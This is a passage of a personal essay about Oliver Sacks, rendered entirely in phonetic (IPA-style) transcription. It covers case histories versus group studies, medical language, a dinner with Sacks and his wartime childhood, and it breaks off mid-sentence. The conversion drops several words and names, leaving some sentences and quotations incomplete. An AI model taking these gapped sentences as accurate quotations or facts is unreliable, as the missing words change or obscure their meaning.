ˈpipəl: fər ˈɪnstəns, ðeɪ səˈlɛkt skɔrz ɔn tɛsts, ənd kəmˈpɛr ðɛm. wən wʊd θɪŋk ðət ə ˈlɑrʤər ˈstədi wʊd ˈɔlˌweɪz trəmp ə ˈsɪŋgəl keɪs ˈstədi. bət grup ˈstədiz, laɪk keɪs ˈhɪstəriz, hæv boʊθ strɛŋθs ənd ˈwiknəsɪz. ˈdɑktər. sæks roʊt ðət "ɔl sɔrts əv ˌʤɛnərələˈzeɪʃənz ər meɪd ˈpɑsəbəl baɪ ˈdilɪŋ wɪθ ˌpɑpjəˈleɪʃənz [grup ˈstədiz] bət wən nidz ðə ˈkɑnkrit, ðə ˌpɑˈtɪkjələr, ðə ˈpərsɪnəl tu, ənd ɪt ɪz ˌɪmˈpɑsəbəl tɪ kənˈveɪ ðə ˈneɪʧər ənd ˌɪmˈpækt əv ˈɛni ˌnʊrəˈlɑʤɪkəl kənˈdɪʃən wɪˈθaʊt ˈɛnərɪŋ ənd dɪˈskraɪbɪŋ ðə lɪvz əv ˌɪndəˈvɪʤəwəl ˈpeɪʃənz." keɪs ˈhɪstəriz ər ðə ˈoʊnli pleɪs ɪn ðə ˈmɛdɪkəl ˈlɪtərəʧər wɛr wi si, ɪf nɑt ðə hoʊl ˈpeɪʃənt, æt list ɪˈnəf tɪ gɪt ə ˈpɪkʧər əv ə ˈlɪvɪŋ ˈjumən biɪŋ. keɪs ˈhɪstəriz kən meɪk ˈhənərdz əv ˌɑbzərˈveɪʃənz əˈbaʊt ə fju ˈpipəl, ənd ðəs meɪ nɑt bi ˌrɛprɪˈzɛnətɪv əv ðə ˈlɑrʤər ˌpɑpjəˈleɪʃən; grup ˈstədiz ɔn ðə ˈəðər hænd, meɪk ə fju ˌɑbzərˈveɪʃənz əˈbaʊt ˈmɛni ˈpipəl. ðə kˈwɛʃən ɪz: ɪz ɪt ˈpɑsəbəl tɪ ˌəndərˈstænd ə ˈpərsən wɪθ ə breɪn ˈɪlnəs, baɪ dɪˈskraɪbɪŋ ɪm ər hər ɪn bɪts ənd ˈpisɪz baɪ əbˈzərvɪŋ ʤɪst ə fju ˈvɛriəbəlz? ðə əˈsəmpʃən ˌəndərˈlaɪɪŋ ðə ˈtɪpɪkəl grup ˈstədi əv ə dɪˈziz ɪz ðət iʧ pɑrˈtɪsəpənt həz ðə seɪm dɪˈziz, ənd ðət ˈɛni ˌvɛriˈeɪʃən bɪtˈwin ðɛm ˈwɛðər ðeɪ ˈɛksərˌsaɪz, fər ˈɪnstəns, ər hæv ˈəðər ʤəˈnɛtɪk rɪsk ˈfæktərz ər ˌsaɪkəˈlɑʤɪkəl ˈɪʃuz ɪz ˈrɛlətɪvli ˌɪnsɪgnˈjɪfɪkənt. ðɪs əˈsəmpʃən əv ˌjunəˈfɔrməti ˈsərtənli ˈdəzənt hoʊld wɪn ˈtɔkɪŋ əˈbaʊt ðə breɪn, wɪʧ ɪz soʊ ˈkɑmplɛks, ənd ˈdɪfərz ɪkˈstɛnsɪvli frəm ˈpərsən tɪ ˈpərsən. ɛz wɛl, noʊ tu breɪn ˈɪnʤəriz ər aɪˈdɛntɪkəl, ənd ˈjuʒəwəli əˈfɛkt ˈdɪfərənt breɪn ˈɛriəz. ðɪs trɪˈmɛndəs ˌvɛriˈeɪʃən bɪtˈwin ˈpeɪʃənz ɪz ˈprɑbəˌbli wən ki kənˈtrɪbjətər tɪ ə ˈprɑbləm ðət həz naʊ bɪn ækˈnɑlɪʤd ɛz ə ˈmeɪʤər wən ɪn ðə laɪf ənd ˈmɛdɪkəl ˈsaɪənsɪz: ðə ˌrɛplɪˈkeɪʃən ˈkraɪsəs. wən wʊd hæv tɪ hæv lɪvd ɪn ə keɪv wɪˈθɪn ə keɪv fər ðə læst 10 jɪrz nɑt tɪ hæv ˈnoʊtɪst ðət ˈmɛni ki ˈmɛdɪkəl ˈfaɪndɪŋz frəm grup ˈstədiz ər biɪŋ rɪˈvərst, ˈɔlˌmoʊst ˈmənθli bi ɪt ˈstədiz ɔn ðə ˈjusfəlnəs əv ˈmæmoʊˌgræmz ənd ˈprɑˌsteɪt tɛsts, ər ðə ˈifɛktɪvnəs əv ˈvɛriəs ˌmɛdəˈkeɪʃənz. ˈmɛni əv ðə ˈfaɪnəst ˈrændəˌmaɪzd kənˈtroʊld traɪəlz (rcts*), wi ər naʊ ˈlərnɪŋ, ˈkænɑt bi ˈrɛplɪˌkeɪtɪd. wərs, moʊst ˈpəblɪʃt grup ˈstədiz ɪn ˈmɛdəsən kænt bi ˌriprəˈdust, ˈlidɪŋ tɪ wət ˈjʊrəps prɛˈmɪr saɪəns ˈʤərnəl, ˈneɪʧər, naʊ kɔlz "ðə ˈkraɪsəs." ə ˈstədi ˈpəblɪʃt ɪn ðə ˈʤərnəl əv ðə əˈmɛrɪkən ˈmɛdɪkəl əˌsoʊʃiˈeɪʃən ɪn 2014 ʃoʊd ðət 35 pər sɛnt əv ðə kənˈkluʒənz əv ðə ˈfaɪnəst rcts*, əˈsɛst baɪ pɪr ˌrivˈju ənd ˈpəblɪʃt ɪn ðə moʊst rɪˈspɛktɪd ˈmɛdɪkəl ˈʤərnəlz, ˈkænɑt bi ˈrɛplɪˌkeɪtɪd ɔn əv ðɛr rɑ ˈdætə. ənd ðə moʊst ˈdaʊnˌloʊdɪd ˈɑrtɪkəl ɪn ðə ˈhɪstəri əv ðə ˈʤərnəl ˈmɛdəsən, əˈpɪrɪŋ ɪn 2005 ənd kɔld waɪ moʊst ˈpəblɪʃt ˈrisərʧ ˈfaɪndɪŋz ər fɔls, ʃoʊd haʊ baɪəs ˈizəli sniks ˈɪntu ˈdætə æˈnælɪsɪs. ðɪs həz lɛd ˈneɪʧər tɪ kɔl fər nu ˈmɛθədz tɪ traɪ tɪ ɪˈlɪməˌneɪt baɪəs ɪn ˈmɛdəsən ənd laɪf ˈsaɪənsɪz. ðəs, ðɛr ɪz lɛs ˈseɪfti ɪn ˈnəmbərz ɪn ðiz fildz ðən wi maɪt wɪʃ. (aɪ teɪk noʊ ˈplɛʒər ɪn ðɪs, ɛz wən hu raɪts ɔn laɪf ˈsaɪənsɪz.) ðɪs ɪz waɪ wi nid tɪ bi ˈoʊpən tɪ ə reɪnʤ əv ˈstədi ˈmɛθədz, boʊθ ˈsɪŋgəl keɪs ˈstədiz ənd grup ˈstədiz. ɛz fər ðə ˈriˌtɔrt ðət keɪs ˈhɪstəriz ər nɑt "ˌsaɪənˈtɪfɪk" bɪˈkəz ðeɪ ər nɑt "kˈwɑntɪˌteɪtɪv" ðət kənfˈjuzɪz stəˈtɪstɪks, wən tul əv saɪəns, wɪθ saɪəns ˌɪtˈsɛlf. ˈfrænsɪs krɪk, hu, ˈæftər ˈdiˌɛˈneɪ, tərnd hɪz əˈtɛnʃən tɪ ðə ˈprɑbləm əv ˈkɑnʃəsnəs, ˈigərli pɔrd ˈoʊvər ðə sæks keɪs ˈhɪstəriz ɪn dræft fɔrm. hi dɪd soʊ noʊɪŋ, ɛz nʊˈrɑləʤəst ənd nˈjʊroʊˌsaɪənɪst viz. ɪkˈspleɪnz: nʊˈrɑləʤi, moʊst əv ðə ˈmeɪʤər dɪˈskəvəriz ðət hæv wɪθˈstʊd ðə tɛst əv taɪm wər, ɪn fækt, beɪst ˌɪˈnɪʃəli ɔn ˈsɪŋgəl keɪs ˈstədiz ənd ˌdɛmənˈstreɪʃənz." ɑr vjuz əv wət ˈkɑnstəˌtuts ɪn saɪəns dɪˈpɛnd ɔn ðə ˈpɛrəˌdaɪm əv ðə deɪ. ə ˈpɛrəˌdaɪm ɪz ə ˈθɪri wɪθ əˈsoʊʃiˌeɪtəd lɔz, ˈpræktɪsɪz, ənd rɪˈleɪtɪd ˌtɛknəˈlɑʤɪkəl ənd ˌænəˈlɪtɪkəl tulz əˈbaʊt ən ˈæˌspɛkt əv ðə ˈjunəˌvərs. stəˈtɪstɪkəl ˈpɛrəˌdaɪmz dɪˈspɛns wɪθ tɛkˈnɑləʤiz. bət ˈʧeɪnʤɪŋ frəm wən fɔrm əv tɛkˈnɑləʤi tɪ əˈnəðər həz ˌənɪnˈtɛndɪd ˈkɑnsəkˌwɛnsəz. tru, wi doʊnt tɛnd tɪ θɪŋk əv ðə rɪˈpɔrt ɛz ə tɛkˈnɑləʤi. bət aɪ wʊd ˈɑrgju ðət ɪt ɪz, ənd ðət ðə tɛkˈnɑləʤi ðət ˌəndərˈlaɪz ðə keɪs ˈhɪstəri ɪz nɑt ʤɪst ˈraɪtɪŋ, bət ˈlæŋgwɪʤ ˌɪtˈsɛlf ən ˌɪnˈvɛntɪd ˈmidiəm ðət əˈlaʊz ˈjuˈɛs tɪ pʊt ɑr θɔts ənd səˈbʤɛktɪv ɪkˈspɪriənsɪz ˈɪntu wərdz. ənd, soʊ fɑr, ɪt ɪz ðə bɛst ˈmidiəm wi hæv fər bɪˈkəmɪŋ əˈwɛr əv ənd kənˈveɪɪŋ ˈpraɪvət ɪkˈspɪriənsɪz. ˈlæŋgwɪʤ, ðoʊ ˈeɪnʧənt, ɪz nɑt lɛs səˈfɪstɪˌkeɪtəd fər biɪŋ oʊld, bət mɔr, ˈhævɪŋ bɪn rɪˈfaɪnd ˈoʊvər məˈlɛniə. wɪn ðə ˈsəbʤɪkt wi ər ˈstədiɪŋ ɪz ðə ˈneɪʧər əv ˈjumən ɪkˈspɪriəns ˌɪtˈsɛlf, ðɪs ɪz nɑt tɛkˈnɑləʤi wi kən dɪˈspɛns wɪθ. ðə ˈlæŋgwɪʤ wi juz fər ðə ɪnˈkaʊnər əˈfɛkts ðə ˈneɪʧər əv ðət ˈvɛri riˈleɪʃənˌʃɪp. ðə wərd "ˈpeɪʃənt" kəmz frəm ðə rut fər "wən hu ˈsəfərz" ənd ɪt goʊz bɛst wɪθ əˈnəðər ˌoʊldˈfæʃənd wərd: fəˈzɪʃən ər, ˈhɛvən fərˈbɪd, ˈhilər. bət ðiz wərdz ðə ˈlæŋgwɪʤ əv ˈmɛdəsən fər ˈsɛnʧəriz ər ˌɪnˈkrisɪŋgli biɪŋ swɛpt əˈweɪ baɪ ˌɪmˈpərsənəl ˌtɛknəˈlɑʤɪkəl tərmz, wɪʧ ˈmænɪʤ tɪ bi blænd ənd ˈhɪdiəsli ənˈdɪgnɪˌfaɪd æt ðə seɪm taɪm: tərmz laɪk ˈjuzər" ənd ˈsɪstəmz prəˈvaɪdər." ðə ˈlæŋgwɪʤ əv "ˈjuzər" ənd prəˈvaɪdər" mæsks ðə ˌfəndəˈmɛnəl ˈɪnˌsaɪt ɪn ðə wərd "ˈpeɪʃənt." wɪn wi ər ˈtruli sɪk, wi ər ˈsəfərɪŋ, dɪˈpɛndənt, ənd nɑt ˈhoʊli ɑrˈsɛlvz. wi ˌrikˈwaɪər ə "ˈhilər" (wɪʧ kəmz frəm ðə oʊld ˈɪŋlɪʃ haelan*, wɪʧ minz nɑt ˈsɪmpli tɪ "kjʊr" bət tɪ "meɪk hoʊl"). wi ˌrikˈwaɪər nɑt ʤɪst ə prəˈvaɪdər əv gʊdz ənd ˈsərvɪsɪz bət ˈɔlsoʊ ə riˈleɪʃənˌʃɪp wi kən trəst. ɑr rɪˈmoʊt, ˈlæŋgwɪʤ ɪz ə pəˈθɛtɪk rɪˈpleɪsmənt fər ə ˈvænɪʃɪŋ, ˈhaɪli ˈpərsɪnəl riˈleɪʃənˌʃɪp, ən ˈeɪnʧənt ˈɑrkɪˌtaɪp ðət ɪz biɪŋ ˈbɛrid. ˈpipəl kən fil strɪpt əv ðɛr ˈdɪgnəti, əˈtɑnəmi ənd ɔn ˈɛnərɪŋ səʧ "ˈsɪstəmz." ðə ləˈʤɪstɪkəl dɪˈmændz əv ðoʊz ˈsɪstəmz, əˈlɔŋ wɪθ ðə ˈprɛzəns əv dɪˈvaɪsɪz səʧ ɛz kəmˈpjutərz, kən dɪˈrɛkli ˌɪnˈtrud ˈɪntu ðə riˈleɪʃənˌʃɪp. fɪˈzɪʃənz, kəmˈpɛld baɪ ˈnumərəs ˈprɛʃərz frəm ðə ɪˈfɪʃənsi ˈɛkspərts," məst spɛnd ɛz məʧ taɪm ˈlʊkɪŋ æt ðɛr skrinz ˈdʊrɪŋ ˈvɪzɪts ɛz æt ðɛr ˈpeɪʃənz. ˌɪnˈkrisɪŋgli, ˈklɪnɪks ənd ˈhɑˌspɪtəlz trit klɪˈnɪʃənz ɛz ˌɪnərˈʧeɪnʤəbəl "ˈsərvɪs prəˈvaɪdərz." wəns wi ˈɛnər səʧ ə ˈsɪstəm, tɪ meɪk əp fər ðə lɔs əv maɪ ˈdɔktər ər maɪ nərs, wi ər əˈʃʊrd wi naʊ hæv ˈsəmθɪŋ ˈbɛtər: "ðə tim." ˈdɑktərz ənd ˈnərsɪz meɪ kəm ənd goʊ, bət ðə tim wɪl ˈɔlˌweɪz bi ðɛr. bət wɪl ə tim wɪθ ˌɪnərˈʧeɪnʤəbəl ˈmɛmbərz wi meɪ ˈbɛrli noʊ ˈrɪli hæv ɑr bæk ɪn ə ˈkraɪsəs, ˈrɪli kɛr əˈbaʊt ˈjuˈɛs, ɛz məʧ ɛz ˈsəmˌwən wɪθ hum wi hæv ən ˈɔnˌgoʊɪŋ riˈleɪʃənˌʃɪp? ɔl ðɪs kɛr ən ˌɑkˈsiˈmɔrɑn ɪz nɑt ˈsɪmpli ðə ˈprɑdəkt əv ˈəndərˌfəndɪŋ hɛlθ kɛr. ɪt əˈkərz ɪn ˈneɪʃənz rɪʧ ənd pur, ˈkæpətəlɪst ənd ˈsoʊʃəlɪst. ˈrəðər, ɪt groʊz aʊt əv ə ˈpɛrəˌdaɪm ðət siz ðə wərld əv ˈɪlnəs ənd hɛlθ ˈsoʊəli ɪn məˈtɪriəl, ˌænəˈlɪtɪkəl, stəˈtɪstɪkəl ənd ˌtɛknəˈlɑʤɪkəl tərmz. əˈgɛnst ðɪs, haʊ wi lɔŋ fər ən ˌoʊldˈfæʃənd, ˌɪrəˈpleɪsəbəl ˈdɑktər. sæks, ˈteɪkɪŋ kɔl ˈɛvəri naɪt, wɪθ hɪz əˈsɛsmənts əv "hɪz" ˈpeɪʃənz. fər ɪn ə wərld ɪn wɪʧ ðə ˈdɔktər ɪz tu ˈizəli ˌriˈpleɪst, soʊ tu, wi sɛns, ɪz ðə ˈpeɪʃənt. ˈdɑktər. sæks siɪŋ ˈpeɪʃənz æt bɛθ ˈeɪbrəˌhæm, 1988 ðə mæn hu mɪˈstʊk hɪz waɪf fər ə hæt 1985 wɑz beɪst ɔn ðə prɪˈveɪlɪŋ vju əv ɪts taɪm, wən bɪlt əp ˈoʊvər ðə ənd moʊst əv ðə ˈsɛnʧəriz, ðət ðə breɪn wɑz meɪd əp əv ˈsɛvərəl ˈhənərd ˈlɪtəl "ˈɔrgənz," iʧ əv wɪʧ hæd ə ʤəˈnɛtɪkli tæsk. ðə ˈædəlt breɪn wɑz fɪkst. ðə greɪt traɪəmf əv ðət ˈɪrə əv nʊˈrɑləʤi ənd nˈjʊroʊˌsaɪəns wɑz tɪ bɪˈgɪn tɪ mæp ðə breɪn, wɛr iʧ əv ðiz ˈɛriəz wər. hæt geɪv ˈridərz ə fərst tʊr θru ðiz ˈlɪtəl ˈɔrgənz, waɪl ˈɔlsoʊ dɪˈskraɪbɪŋ ðə ˈjumən ˈdrɑmə əv haʊ ðiz ˈpeɪʃənz wər əˈfɛktɪd baɪ ðɛr mælˈfəŋkʃənz ənd mɪsˈfɔrʧənz. ðiz wər ˈstɔriz, ɛz ˈdɑktər. sæks sɔ ɪt, əv ˈpeɪʃənz hu ˈiðər lɔst ðɛr aɪˈdɛntəˌti bɪˈkəz əv ə breɪn ˈliʒən, ər hu traɪəmft ənd faʊnd ə weɪ tɪ prɪˈzərv ðət aɪˈdɛntəˌti. ɪn ðə leɪt 1980s*, ˌhaʊˈɛvər, nˈjʊroʊˌsaɪəns ˌəndərˈwɛnt ə ˈmeɪʤər ʃɪft. wɪθ ðə ˌɪnˈkrisɪŋ ˌrɛkɪgˈnɪʃən əv ðə ˌdɪˈskəvri ðət ˈivɪn ðə ˈædəlt breɪnz ˈfɪzɪkəl ˈstrəkʧər ɪz əˈdæptəbəl ənd kən ʧeɪnʤ ɪn rɪˈspɑns tɪ ɪkˈspɪriəns ˈdɑktər. sæks ˈriəˌlaɪzd ðət hæt wɑz beɪst ɔn ə ˈpɑrʃəli ˌaʊtˈmoʊdɪd vju əv ðə breɪn. ˈklɪnɪkəli, hi wɑz bɪˈgɪnɪŋ tɪ əbˈzərv ðət wɑz æt wərk ɪn ˈpipəl wɪθ ˌnʊrəˈlɑʤɪkəl dɪˈziz, ɛz ðeɪ əˈʤəstɪd tɪ ðɛr ˈɪlnəsɪz. ɪn hɪz bʊk ən ˌænθrəˈpɑləʤɪst ɔn mɑrz 1995 hi ʃoʊd haʊ, oʊɪŋ tɪ "ðə breɪnz rɪˈmɑrkəbəl," ˈɪlnəs kʊd ˈivɪn "pleɪ ə ˌpɛrəˈdɑksɪkəl roʊl, baɪ ˈbrɪŋɪŋ aʊt ˈleɪtənt paʊərz, dɪˈvɛləpmənts, evolutions*, fɔrmz əv laɪf, ðət maɪt ˈnɛvər bi sin, ər ˈivɪn bi ˌɪˈmæʤənəbəl, ɪn ðɛr ˈæbsəns." tɪ lərn əv ðiz evolutions*, hi lɛft hɪz ˈɔfəs ənd spɛnt taɪm wɪθ ˈpeɪʃənz ɛz ðeɪ wərkt, ˈtrævəld, ənd lɪvd ðɛr lɪvz. hi ɪkˈsplɔrd skɪlz ɪn ɔˈtɪstɪk ˈpipəl; haʊ ər stroʊks maɪt gɪv raɪz tɪ nu weɪz əv siɪŋ ðə wərld. noʊ ˈlɔŋgər wɑz ˈdɑktər. sæks siɪŋ hɪz ˈsəfərɪŋ ˈpeɪʃənz ɛz ˈiðər ˈluzɪŋ ðɛr aɪˈdɛntəˌti, ər prɪˈzərvɪŋ ɪt; ðiz wər ˌɪnˈstɛd ɔl ˈstɔriz əv ðə ˌmɛtəˈmɔrfəsəs əv aɪˈdɛntəˌti. ɪn moʊst əv ðə ˈkeɪsɪz, hi meɪd səˈfɪstɪˌkeɪtəd ˌsaɪkoʊˌænəˈlɪtɪk ˌɑbzərˈveɪʃənz əˈbaʊt haʊ ðə ˈmɛntəl laɪf ənd ðə ˌnʊrəˈlɑʤɪkəl ˈprɑbləmz ˌɪnərˈæktəd, ˈpʊʃɪŋ fər ə mɔr hoʊˈlɪstɪk nʊˈrɑləʤi. ˈdɑktər. sæks juzd hɪz ˌəndərˈstændɪŋ əv nɑt tɪ traɪ tɪ kjʊr, ˈɔltər ər ˌɪmˈpruv ðə ˈpipəl hi wɑz ˈraɪtɪŋ əˈbaʊt. hɪz ˈpərpəs wɑz tɪ ˌəndərˈstænd, tɪ əˈpriʃiˌeɪt, haʊ ðə ˈjumən ˈspɪrɪt ʧeɪnʤd ɪn rɪˈspɑns tɪ breɪn ˈʧeɪnʤɪz. ˌænθrəˈpɑləʤɪst ɪz ðə bʊk wɛr ˈdɑktər. sæks əˈʧivz ˈstægərˌɪŋ haɪts, ənd ʃoʊz hi həz noʊ pɪr. aɪ noʊ əv noʊ ˈbɛtər, mɔr ˈsətəli əbˈzərvd, keɪs ˈhɪstəriz ɪn nʊˈrɑləʤi. ˈdɑktər. sæks ˈraɪtɪŋ ɔn ə kɑr rʊf. aɪ mɛt ˈɑlɪvər ˈdɑktər. sæks ˈoʊnli wəns, ɪn ðə spərɪŋ əv 2008 mɑrˈtinɛz, ə daɪˈnæmɪk nu jɔrk ˌrɛstərəˈtər, wɑz ðə ˈɔθər əv ə bʊk ɔn ðə fud ənd laɪf əv hər ˈneɪtɪv ˈoʊksəkə. ˈɑlɪvər hæd ˈrɪtən ˈoʊksəkə ˈʤərnəl, hɪz oʊn ˌɛksplərˈeɪʃən əv ˈsəðərn ˈmɛksəˌkoʊ, əˈspɛʃəli ɪts fərnz (hi wɑz ən ˈæməˌʧər pteridologist*), ənd wɪn hi ˈlərnɪd əv, hi ʃoʊd əp æt hər ˈrɛˌstrɑnt wən deɪ, ˈæskɪŋ hər tɪ ˈɔtəˌgræf hɪz ˈkɑpi əv hər bʊk. ə ˈfrɛndʃɪp ɪnˈsud. səm taɪm ˈleɪtər ˈkɑnˌtæktɪd mi: ˈkəmɪŋ əˈkrɔs ˈdɑktər. ɛnˈdɔrsmənt əv maɪ fərst bʊk, ʃi hæd bɔt ɪt, ənd ðɛn gɑt ɪn təʧ bɪˈkəz ʃi wɑz ˈjuzɪŋ səm əv ðə ˈprɪnsəpəlz aɪ dɪˈskraɪbd tɪ hɛlp ˈmɪnəˌmaɪz ðə ˈɔnsˌlɔt əv hər oʊn ˈpɑrkɪnsənz ˈsɪmptəmz. əˈpɑn ˈlərnɪŋ ðət ˈɑlɪvər ənd aɪ hæd ˈnɛvər mɛt, bɪˈkeɪm ɪkˈsaɪtɪd ("əˈnəðər ɪkˈskjuz fər ə ˈpɑrti!") ənd ˈɔrgəˌnaɪzd ə smɔl ˈdɪnər æt hər haʊs. ɪt wɑz ˈɪnɪmət, wɪθ maɪ waɪf, ˈkɛrən;; hər ˈpɑrtnər, ˈʤeɪmi (ə rɪˈtaɪrd ˈæktər); ˈɑlɪvər; ʤeɪmz ˈwɑtsən, ðə noʊˈbɛl ˈlɔriət ənd əv ˈdiˌɛˈneɪ; ənd ˈdɑktər. ˈwɑtsənz waɪf, lɪz. aɪ hæd ˈpriviəsli daɪnd wɪθ ˈfrænsɪs krɪk, əv ˈwɑtsən ənd krɪk, ənd ˈdɑktər. sæks hæd bɪn kloʊz wɪθ ˈdɑktər. krɪk, bət ˈniðər əv ˈjuˈɛs hæd ˈɛvər mɛt ˈdɑktər. ˈwɑtsən ənˈtɪl ðət ˈivnɪŋ. ðɪs əˈsɔrtmənt əv gɛsts wɑz ˈtɪpɪkəl əv ə ˈgɛtəˈgɛðər, ənd ˈkəmfərtəbəl fər ˈdɑktər. sæks: hɪz oʊn ɪˈklɛktɪk ˈsərkəl kʊd brɪŋ təˈgɛðər ən ˈæstrəˌnɑt, ə ˈdɛntəl ˌhaɪˈgɛnɪst, ə fərn ˈɛkspərt, ə kɑr ˈdilər, ˈsɛvərəl noʊˈbɛl ˈlɔriəts, ənd ðə ˈpərsən hu skrəbd hɪz flɔrz. ʃi sæt ˈɑlɪvər ənd mi təˈgɛðər. aɪ ˈwɔntɪd tɪ θæŋk ɪm fər wət hɪz ˈraɪtɪŋz mɛnt tɪ mi, ənd fər wət hi hæd dən fər mi ˈpərsənəli. wɪn ðə ˈmænjəˌskrɪpt əv maɪ fərst bʊk wɑz kəmˈplit, ɪt wɑz sɛnt aʊt tɪ ˈmɛni ˈpipəl fər ˈkɑmɛnt. hi wɑz ðə ˈoʊnli wən tɪ rɪˈspɑnd, rɪˈmɑrkəbəl ɪn ə mæn wɪθ soʊ ˈmɛni dɪˈmændz ɔn hɪz taɪm. (aɪ seɪ ðɪs ɛz ˈsəmˌwən hu həz nɑt ˈɔlˌweɪz ˈmænɪʤd tɪ du ðə seɪm fər ˈəðərz ˌmaɪˈsɛlf.) aɪ ɪkˈsprɛst maɪ ˈhɑrtˌfɛlt ˈgrætəˌtud; hi wɑz wɔrm, bət self-minimizing*, ɪn ə ˈbrɪtɪʃ weɪ. ɛz wi dəg ˈɪntu ðə ˈdɪnər, ənd dɪˈskəst ˈkɑrənt ˈprɑʤɛkts, ðə ˈnæʧərələst ˈimərʤd. hi discoursed*, laɪk ə ˈbɑtənɪst, ɔn ɑr ˈsæləd, bət nɑt ɔl ˈvɛʤtəbəlz, aɪ ˈlərnɪd, wər ˈikwəl: hi hæd ə ˌpɑˈtɪkjələr ˈpæʃən fər ˈrædɪʃɪz, ənd hi ˈkɛrfəli ˈsɪŋgəld ðɛm aʊt frəm ðə ˈəðər, ˈlifi θɪŋz ɔn hɪz pleɪt. hi wɑz, aɪ hæd bɪn toʊld baɪ ə ˈkɑlig hu ˈstədid wɪθ ɪm ɛz ə ˈrɛzɪdənt, ˈpeɪnfəli ʃaɪ, ənd aɪ rɪˈmɛmbər, mɔr ðən ˈɛniˌθɪŋ, ðə sˈloʊli ənˈfoʊldɪŋ peɪs əv ɑr ˌkɑnvərˈseɪʃən. hi spoʊk ˈsɔftli, wɑz əˈtɛntɪv, ˈtæktfəl, ˈʤɛnəl, ənd ˈətərli ənˈlaɪk səm əv ðə ənd ˌɪntəˈlɛkʧuəlz frəm ðə ˈbrɪljənt ˈɑksfərd sɛt əv hɪz ˌjunəˈvərsəti deɪz. wi ˈsɛtəld ˈɪntu ɑr ˈɔrbət, faʊnd ɑr reɪnʤ ənd ˈrɑstər əv ʃɛrd ˈɪntərɪsts, ənd ðə ˌkɑnvərˈseɪʃən prəˈsidəd frəm ə mˈjuʧuəl ˈɪntəˌrɛst ɪn ˈrəʃən ˈlɪtərəʧər (hi reɪzd oblomov*, ðə lɛd ˈkɛrɪktər ɪn ˈaɪvən ˈnɑvəl, əˈbaʊt ə mæn hu gɑt ˈnəθɪŋ dən), tɪ ˈdɑktər. ˈlʊriə ənd mˈjuʧuəl prəˈfɛʃənəl ˈʧælənʤɪz, ˌɪnˈkludɪŋ ˈkipɪŋ əp wɪθ ˌkɔrəˈspɑndəns. ˈdɑktər. sæks rɪˈsivd ˈθaʊzənz əv ˈlɛtərz. "ðə wərst," hi sɛd, wɪθ dɪˈstrɛs, "ər ðoʊz hu raɪt ˈhoʊpɪŋ fər ˈmæʤɪk." təˈwɔrd ðə ɛnd əv ðə ˈivnɪŋ, hi toʊld mi, wɪθ səm praɪd ənd ˈtɛndərnəs, ənd ɪn ə nɑd tɪ ðə fækt ðət aɪ wɑz ˈɔlsoʊ ə ˌsaɪkoʊˈænələst, ðət hi hæd tɪ goʊ, bɪˈkəz hi hæd ən əˈpɔɪntmənt wɪθ hɪz oʊn ˈænəlɪst ɪn ðə ˈmɔrnɪŋ. "wiv bɪn siɪŋ iʧ ˈəðər fər ə lɔŋ taɪm." ˈlɪftɪŋ weɪts ɛz ə ˈnɑvəs æt ðə kləb ɪn ˈləndən, 1956 ˈɑlɪvər sæks hæd ə gʊd stɑrt ɪn laɪf, bɔrn ɪn ˈləndən tɪ ə ˈləvɪŋ, ˈɔrθəˌdɑks ʤuɪʃ ˈfæməli, ˌɪˈmiˌdiətli ˈfɑloʊd baɪ ə ˈvɛri trɔˈmætɪk ˈʧaɪlˌdhʊd, wɪʧ hi roʊt əˈbaʊt ɪn ə fərst ˈmɛmˌwɑr, ˈəŋkəl ˈtəŋstən: ˈmɛməriz əv ə ˈkɛmɪkəl ˈbɔɪˌhʊd 2001 ˈdʊrɪŋ ðə ˈnɑtsi ˈbɑmɪŋ əv ˈləndən, ˈɑlɪvər wɑz ɪˈvækjəˌweɪtɪd, wɪθ hɪz ˈbrəðər, tɪ ə ˈbɔrdɪŋ skul kɔld, ɪn ðə ˈmɪˌdlændz. ðə ˈhɛdˈmæstər bit ɔl ðə bɔɪz; hi bit ˈɑlɪvər ɔn hɪz ˈbɑtəm tɪl ðə keɪn broʊk, ənd sɛnt ˈɑlɪvərz ˈpɛrənts ðə bɪl fər ðə keɪn. ðə ˈoʊldər bɔɪz sun bit ðə ˈjəŋgəst əˈməŋ ðɛm. hi wɑz ˈɔfən ˈhəŋgri, ənd sərˈvaɪvd ˈmoʊstli ɔn ˈtərnəps ənd kɔrs fər ˈkætəl, bɪˈkəz ðə ˈmeɪtrən stoʊl ðə fud ˈpɑrsəlz hɪz ˈpɛrənts sɛnt. hɪz ˈpɛrənts, boʊθ fɪˈzɪʃənz, ˈbɪzi ɪn ˈləndən wɪθ wɔr ˈdutiz, kʊd ˈoʊnli ˈrɛrli ˈvɪzɪt. ɪn ðə fɔr jɪrz hi wɑz ə ˈstudənt æt, hi wɑz əˈlaʊd tɪ ˈvɪzɪt hoʊm ˈoʊnli wəns. hi fɛlt əˈbændənd, bɪˈtreɪd, ˈdɛzələt ənd ˈhoʊpləs. hɪz bɪˈlif ɪn gɑd wɑz ˈʃeɪkən. "hi ˈɔlˌweɪz sɛd," keɪt ˈɛdgər, ˈdɑktər. əˈsɪstənt ənd kloʊz frɛnd, toʊld mi, "ðət ðə ˈɛkˌsaɪl tɪ ˈbɔrdɪŋ skul wɑz ðə ˈmeɪʤər wund ɪn hɪz laɪf." tɪ sərˈvaɪv, ˈɑlɪvər tʊk ˈrɛfjuʤ ɪn ˈnəmbərz, ˈθɪŋkɪŋ əˈbaʊt ðɛm, məˈnɪpjəˌleɪtɪŋ ðɛm, ɪkˈsplɔrɪŋ ˌmæθəˈmætɪkəl riˈleɪʃənˌʃɪps. wɪn ðə wɔr ˈɛndɪd, ðɪs ɪˈvɑlvd ˈɪntu ən ˈɪntəˌrɛst ɪn ˈkɛmɪstri. hi ˈɔlsoʊ wɛnt frəm biɪŋ ə ʧaɪld tɪ ˈæktɪŋ aʊt hi keɪm hoʊm ˈətərli ʧeɪnʤd. wɪn hi ˈwəzənt ˈrɛplɪˌkeɪtɪŋ ðə ˈmeɪʤər ɪkˈspɛrəmənts əv ˈmɑdərn ˈkɛmɪstri, hi ləvd ˈmeɪkɪŋ ɪkˈsploʊʒənz ənd ˈnɑkʃəs ˈgæsɪz ("bæŋz ənd stɪŋks," ɛz hi kɔld ðɛm). hɪz ˈtiʧər roʊt ɪn hɪz skul rɪˈpɔrt, "sæks wɪl goʊ fɑr, ɪf hi ˈdəzənt goʊ tu fɑr." ɛz ən ˌædəˈlɛsənt, hi bɪˈkeɪm ə ˈsɪriəs ˈmoʊtərˌsaɪklɪst. ðə mæn aɪ daɪnd wɪθ roʊt, "aɪ ˈkænɑt seɪ (nɔr wʊd ˈɛniˌwən hu noʊz mi seɪ) 